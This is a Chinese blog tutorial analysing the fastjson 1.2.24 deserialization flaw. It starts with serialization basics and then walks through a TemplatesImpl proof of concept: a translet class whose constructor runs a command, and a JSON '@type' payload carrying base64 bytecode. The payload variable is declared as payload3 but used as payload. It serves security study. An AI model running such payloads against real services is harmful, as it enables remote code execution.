从0开始fastjson漏洞分析
关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来
因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?
首先先搭建相关漏洞环境:
使用maven,非常方便我们切换相关漏洞版本:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>Java_Test</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/com.google.common/google-collect --> <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> <!--fastjson1.2.24环境安装--> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
然后点击刷新按钮,会自动帮我们安装相关依赖
至此,我们就拥有了fastjson环境
什么是fastjson?
fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
简单点说就是帮我们处理json数据的
搓个demo:
Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher { private int id; private String name; private List<Student> studentList; public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) { this.id = id; this.name = name; this.studentList = studentList; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Student> getStudentList() { return studentList; } public void setStudentList(List<Student> studentList) { this.studentList = studentList; } @Override public String toString() { return "Teacher{" + "id=" + id + ", name='" + name + '\'' + ", studentList=" + studentList + '}'; } }
编写测试类:
@Test public void fastjson_test1(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSON(student)); }
把对象转换成json格式数据
支持复杂的对象转换json处理:
@Test public void fastjson_test2(){ List<Student> studentList = new ArrayList<Student>(); for(int i=0;i<4;i++){ Student student = new Student(i, "jack" + i, 23 + i); studentList.add(student); } List<Teacher> teacherList = new ArrayList<Teacher>(); Teacher teacher = new Teacher(); teacher.setStudentList(studentList); System.out.println(JSON.toJSON(teacher)); }
除了使用toJSON方法转换外,还可以使用toJSONString方法:
@Test public void fastjson_test3(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSONString(student)); }
查看返回类型,String类型
说明是把student对象数据转换成字符串json数据
JSON.toJSONString的扩展:
需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?
@Test public void fastjson_test4(){ Student student = new Student(1,"jack",24); //过滤只要id和age字段 SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age"); String value = JSON.toJSONString(student, filter); System.out.println(value); }
设置保留id和age字段
通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString
我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:
//反序列化,str类型数据转换成class类型对象 @Test public void fastjson_test5(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student); System.out.println("转换成json数据"); System.out.println(value); System.out.println("str类型json数据转换成class类型对象"); System.out.println(JSON.parseObject(value, Student.class)); }
通过上面代码,我们可以发现一个重点:
fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助
继续扩展JSON.toJSONString:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
把结果输出出来:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.
我们继续学习:
前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:
@Test public void fastjson_test7(){ String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(jsonStr); System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
我们这样写,会发现最后字符串json没有转换成对象
为什么?
因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:
再次修改:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:
深入跟踪下:
在JSON.parseObject处打个断点:
跟进去:
继续进函数:
value=Student{id=1, name='jack', age=24}
继续下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:
继续下一步执行:
熟悉吧toJSON,把我们的student对象再次转换成了json数据...:
那么最后的返回就是:
解决办法:使用parse替换parseObject:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parse(jsonStr)); }
这一次,我们成功把字符串json数据转换成了对象:
可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?
猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?
这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题
深入研究fastjson的对象转json,json转对象的调用机制:
修改我们的Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
消除我们的构造方法:
编写测试方法:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必须调用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
再次运行上面的测试方法:
继续探索:
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必须调用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; System.out.println("setId被调用"); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
在set方法中新增了一条输出语句
再次运行上面的测试方法:
尝试删除set方法:
修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必须调用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被调用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
代码中注释了setId方法
再次运行:
结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法
只有set方法,没有定义get方法可以被反序列化吗?
注释掉get方法,保留set方法:
结论:不可以,最起码在JSON.parseObject下是不可以的
总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败
再次修改student.java文件:
package com.test.fastjson; public class Student { public int id; private String name; private int age; public Student(){ System.out.println("你必须调用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } // public int getId() { // return id; // } // public void setId(int id) { // this.id = id; // System.out.println("setId被调用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
修改private为public,注释掉set和get方法
再次运行测试方法:
结论:public字段下,set/get可有可无
还是回到priavte字段问题,再次修改student.class:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必须调用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被调用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
注释了set方法,保留get方法:
前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的
是否有解决方案?
修改测试方法为:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField); System.out.println(student1); }
再次运行:
Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化
最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样
好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题
下面介绍fastjson第一个漏洞:
利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋
但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知
poc构造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet { public Poc1() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException { Poc1 poc1 = new Poc1(); } }
编译运行一次生成字节码,然后全局base64编码:
反序列化攻击:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 { public static void main(String[] args) throws ClassNotFoundException { String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" + "[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" + "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; JSON.parseObject(payload,Feature.SupportNonPublicField); } }
运行:
成功命令执行弹窗计算器
原理分析,先抛出疑惑点:
去除Feature.SupportNonPublicField还可以命令执行吗?
运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功
跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以这个字段为例:
搜索setOutputProperties:
所以我们他一定要依赖于Feature.SupportNonPublicField
打个断点,深入跟踪下:
解决我们的几个疑惑
(1)为什么_bytecodes定义的数据得是base64编码
(2)fastjson反序列化是怎么走的?
下个断点:
先搞清楚第一个问题bytecodes字节码为什么是base64编码:
判断开头输入是否是{:
继续往下:
设置token为12,很重要,后面的判断都要基于token:
一直下一步执行:
通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:
集合存储恶意类:
然后不断判断我们的clazz是什么类型:
不符合条件就继续往下找:
通过反射获取所有的方法
判断方法的定义规则:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { Class<?>[] types = method.getParameterTypes();
方法名字要符合这个条件:
获取字段:
debug真的脑子疼:
重点来了:
反序列化字段:
继续往下跟:
继续往下:
最后出函数调用parseObject:
最后执行命令:
2.bytescodes base编码原由:
反序列化的时候调用:
byte[] bytes = lexer.bytesValue(); lexer.nextToken(16);
会调用base64解码:
静态调试下:
跟进方法:
方法在接口类中,找接口实现类:
搜索到一个:
进去:
发现是个抽象类:
java基础核心概念:
如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
查看他的子类:
他的父类是object:
选择他的子类进去看看:
搜索byteValue,查看其函数实现:
至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce